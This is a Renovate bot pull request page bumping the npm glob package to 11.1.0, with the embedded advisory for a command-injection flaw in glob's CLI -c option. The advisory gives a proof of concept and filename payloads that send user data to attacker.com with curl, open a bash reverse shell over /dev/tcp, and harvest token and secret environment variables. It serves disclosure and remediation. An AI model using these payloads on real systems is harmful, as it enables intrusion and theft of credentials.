Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Nov 18, 2025

This PR contains the following updates:

Package Change Age Confidence
glob 11.0.3 -> 11.1.0 age confidence

GitHub Vulnerability Alerts

CVE-2025-64756

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow:

  1. User runs glob -c <command> <pattern>
  2. CLI finds files matching the pattern
  3. Matched filenames are collected into an array
  4. Command is executed with matched filenames as arguments using shell: true
  5. Shell interprets metacharacters in filenames as command syntax
  6. Malicious filenames execute arbitrary commands

Affected Component:

  • CLI Only: The vulnerability affects only the command-line interface
  • Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
  • Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

  • Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
  • Any directory where attackers can control filenames (PR branches, archives, user uploads)
  • CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File:

mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'

Trigger Vulnerability:

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"

Result:

  • The echo command executes normally
  • Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
  • A new file injected_poc is created, proving command execution
  • Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

Reverse Shell:

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

Environment Variable Harvesting:

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'

Impact

Arbitrary Command Execution:

  • Commands execute with full privileges of the user running glob CLI
  • No privilege escalation required - runs as current user
  • Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

  • Malicious PR adds files with crafted names to repository
  • CI pipeline uses glob -c to process files (linting, testing, deployment)
  • Commands execute in CI environment with build secrets and deployment credentials
  • Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

  • Developer clones repository or extracts archive containing malicious filenames
  • Local build scripts use glob -c for file processing
  • Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

  • Services using glob CLI to process uploaded files or external content
  • File uploads with malicious names trigger command execution
  • Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

  • Malicious packages or themes include files with crafted names
  • Build processes using glob CLI automatically process these files
  • Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

  • POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
  • Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
  • Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

  • Ecosystem: npm
  • Package name: glob
  • Component: CLI only (src/bin.mts)
  • Affected versions: v10.3.7 through v11.0.3 (and likely later versions until patched)
  • Introduced: v10.3.7 (first release with CLI containing -c/--cmd option)
  • Patched versions: 11.1.0

Scope Limitation:

  • Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
  • CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

  • Upgrade to glob@11.1.0 or higher, as soon as possible.
  • If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
  • As a last resort, use --shell to maintain shell:true behavior until glob v12, but ensure that no untrusted contents can possibly be encountered in the file path results.

Release Notes

isaacs/node-glob (glob)

v11.1.0

Compare Source


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the Type: Maintenance Any dependency, housekeeping, and clean up Issue or PR label Nov 18, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Type: Maintenance Any dependency, housekeeping, and clean up Issue or PR

Projects

Status: 🆕 Triage

Development

Successfully merging this pull request may close these issues.

1 participant